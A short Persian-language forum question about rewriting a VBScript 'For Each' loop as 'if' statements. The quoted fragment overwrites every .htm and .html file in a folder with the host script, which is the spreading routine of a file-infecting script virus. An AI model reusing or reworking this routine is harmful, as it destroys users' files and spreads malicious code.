سلام به دوستان
من میخوام حلقه هایی که در برنامه وجود داره رو به if تبدیل کنم. ولی نمیدونم بعضی چیزارو چجوری تبدیل کنم
مثلا:
For each f1 in fc
Set s = Fso.GetExtensionName(f1.name)
If f1.path <> HostPath then
If s = "htm" or s = "html" then fso.CopyFile HostPath, f1.path
End If
Next
الان به جای for باید چجوری if بذارم؟